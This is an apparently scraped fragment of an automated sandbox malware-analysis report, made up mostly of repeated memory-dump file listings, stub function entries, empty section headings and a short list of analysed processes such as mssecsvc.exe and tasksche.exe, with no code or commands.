Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F0D6B, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

__stack_chk_fail.LIBSSP-0 ref: 001F0D7C

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001D3254, Relevance: 1.5, APIs: 1, Instructions: 8

APIs

__stack_chk_fail.LIBSSP-0 ref: 001D32C5

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C53CA, Relevance: 1.5, APIs: 1, Instructions: 7

APIs

__stack_chk_fail.LIBSSP-0 ref: 001C53D8

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Non-executed Functions

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Error!

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

Change of System Appearance:

Operating System Destruction:

Cryptography:

Spam, unwanted Advertisements and Ransom Demands:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Networking:

Boot Survival:

Remote Access Functionality:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Behavior Graph

Yara Overview

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: mssecsvc.exe PID: 3048 Parent PID: 2812

General

Analysis Process: mssecsvc.exe PID: 3164 Parent PID: 444

General

Analysis Process: tasksche.exe PID: 3216 Parent PID: 3048

General

Analysis Process: cmd.exe PID: 3232 Parent PID: 444

General